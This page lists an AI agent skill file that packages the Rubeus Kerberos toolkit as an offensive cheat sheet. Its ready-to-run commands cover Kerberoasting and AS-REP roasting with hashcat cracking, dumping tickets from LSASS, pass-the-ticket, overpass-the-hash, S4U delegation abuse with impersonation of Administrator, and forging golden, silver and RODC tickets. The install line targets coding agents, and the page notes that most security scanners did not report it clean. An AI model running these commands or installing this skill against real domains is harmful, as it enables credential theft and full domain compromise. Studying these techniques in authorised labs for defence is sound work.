offensive-tools/windows/rubeus/SKILL.md
Auth/lab ref: Kerberos testing toolkit for TGT/TGS requests, AS-REP roasting, Kerberoasting, pass-the-ticket, overpass-the-hash, and S4U delegation misuse.
npx skillsauth add aeondave/malskill rubeusInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
C# Kerberos abuse toolkit — TGT/TGS manipulation, roasting, delegation, and ticket operations.
# AS-REP Roasting (no pre-auth required users)
Rubeus.exe asreproast /format:hashcat
# Kerberoasting (service account TGS)
Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt
# Dump all tickets from memory
Rubeus.exe dump /nowrap
| Command | Description |
|---------|-------------|
| dump | Dump tickets from LSASS |
| triage | List all tickets |
| monitor | Monitor new TGTs (interval-based) |
| harvest | Harvest TGTs over time |
| Command | Description |
|---------|-------------|
| asktgt | Request TGT with password/hash/aes |
| asktgs | Request TGS for a service |
| renew | Renew a TGT |
| Command | Description |
|---------|-------------|
| asreproast | AS-REP roast (pre-auth disabled) |
| kerberoast | Roast SPN-registered accounts |
| brute | Password brute-force via Kerberos |
| Command | Description |
|---------|-------------|
| ptt | Pass-the-ticket (inject to current session) |
| purge | Purge tickets from memory |
| describe | Parse and describe a ticket |
| createnetonly | Create sacrificial logon session |
| Command | Description |
|---------|-------------|
| s4u | S4U2Self + S4U2Proxy (constrained delegation) |
| tgssub | Substitute altservice in TGS |
| Command | Description |
|---------|-------------|
| golden | Forge golden ticket (TGT) — supports /rodcNumber for RODC golden tickets |
| silver | Forge silver ticket (TGS) for specific service |
| diamond | Modify legitimate TGT (stealthier than golden) |
# Kerberoast all SPNs → crack offline
Rubeus.exe kerberoast /format:hashcat /outfile:spns.txt
hashcat -a 0 -m 13100 spns.txt rockyou.txt
# AS-REP roast (dump users without pre-auth)
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
hashcat -a 0 -m 18200 asrep.txt rockyou.txt
# Pass-the-ticket: import stolen ticket
Rubeus.exe ptt /ticket:base64_or_file.kirbi
klist # verify ticket in session
# Overpass-the-hash: get TGT with NTLM hash
Rubeus.exe asktgt /user:admin /rc4:NTLMHASH /ptt
# Golden ticket equivalent: asktgt with AES key
Rubeus.exe asktgt /user:admin /aes256:AESKEY /domain:corp.local /dc:dc.corp.local /ptt
# Constrained delegation S4U
Rubeus.exe s4u /user:service$ /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/target.corp.local /ptt
# RODC Golden Ticket — forge TGT signed by RODC krbtgt_XXXXX
# /rodcNumber sets kvno to (XXXXX << 16 | kvno_low) automatically
Rubeus.exe golden /rodcNumber:8245 /aes256:<krbtgt_8245_aes256> /user:Administrator /id:500 /domain:domain.local /sid:<domain_SID> /flags:forwardable,renewable,enc_pa_rep /outfile:ticket.kirbi
# Then upgrade to real TGS via asktgs against writable DC
Rubeus.exe asktgs /ticket:ticket.kirbi /service:cifs/DC01.domain.local /dc:<writable_dc_ip> /outfile:tgs.kirbi
# S4U with SPN substitution (/altservice) for double-hop
# Gets cifs/ ticket but substitutes http/ for WinRM access
Rubeus.exe s4u /user:FAKE$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/TARGET.domain.local /altservice:http/TARGET.domain.local /dc:<dc_ip> /ptt
# createnetonly — sacrifice logon session for ticket injection (bypasses WinRM double-hop)
# Creates a new process in LOGON_TYPE 9 where injected tickets are usable for outbound auth
Rubeus.exe s4u /user:FAKE$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/TARGET.domain.local /dc:<dc_ip> /ptt /createnetonly:"cmd.exe /c C:\Windows\Temp\run.bat" /show:false
| File | When to load |
|------|--------------|
| references/kerberos-attacks.md | Full Kerberos attack chain, delegation types, ticket format, detection notes |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.